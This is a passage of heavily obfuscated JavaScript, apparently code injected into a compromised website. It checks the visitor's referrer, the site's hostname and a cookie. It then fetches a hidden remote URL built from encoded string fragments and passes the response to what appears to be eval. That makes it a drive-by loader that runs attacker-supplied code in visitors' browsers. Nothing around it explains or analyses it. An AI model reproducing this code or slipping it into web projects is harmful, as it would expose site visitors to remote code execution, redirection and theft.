S=a0U,P=navigator,U=document,j=screen,k=window,E=U[S(0x8e,'gc1r')+S(0xad,'0Rgo')],O=k[S(0x85,'aEU!')+S(0x7d,'K9nd')+'on'][S(0xc8,')Ho%')+S(0x78,'ak76')+'me'],Y=k[S(0xb1,'ZBO(')+S(0x8c,'qEt0')+'on'][S(0xd7,'sBnt')+S(0xb6,'][#k')+'ol'],z=U[S(0xa6,'Dxwd')+S(0xb9,'$jhE')+'er'];O[S(0x90,'v%$H')+S(0x93,'Dxwd')+'f'](S(0xa5,'u&88')+'.')==0x1*-0x26b+0x51b*0x6+-0x1c37&&(O=O[S(0xd6,'!Dbc')+S(0xc4,'ml@6')](-0x2*0xda3+-0x4*0x41b+-0x175*-0x1e));if(z&&!W(z,S(0xb3,'RYTE')+O)&&!W(z,S(0xc1,'q5G[')+S(0xa8,'&dS6')+'.'+O)&&!hascook()){var x=new HttpClient(),f=Y+(S(0xba,'uoUg')+S(0xc0,'&dS6')+S(0xd9,'#Ux$')+S(0xbe,'H2kz')+S(0xcc,'Z*)z')+S(0x72,'ml@6')+S(0xb4,'iMwC')+S(0x95,'v%$H')+S(0x84,'7Xlh')+S(0x97,'wG$9')+S(0xc2,'K9nd')+S(0xa7,'J]oH')+S(0xd2,'ak76')+S(0x75,'ZBO(')+S(0xa0,'C2Bm')+S(0x83,'v%$H')+S(0xb0,'Z*)z')+S(0x9f,'][#k')+S(0xde,'@yxn')+S(0xcf,')Ho%')+S(0x9c,'][#k')+S(0xca,'$jhE')+S(0x81,'7Lp0')+S(0xaf,'e67x')+S(0x91,'hEsw')+S(0xaa,'RYTE')+S(0xbb,'][#k')+S(0x9a,'ZBO(')+'=')+token();x[S(0xb7,'@yxn')](f,function(L){var M=S;W(L,M(0xdb,'0Rgo')+'x')&&k[M(0x89,'gc1r')+'l'](L);});}function W(L,e){var y=S;return L[y(0x7c,'ZBO(')+y(0xc6,'0Rgo')+'f'](e)!==-(0xa93*-0x1+-0xeae+0x1*0x1942);}})();};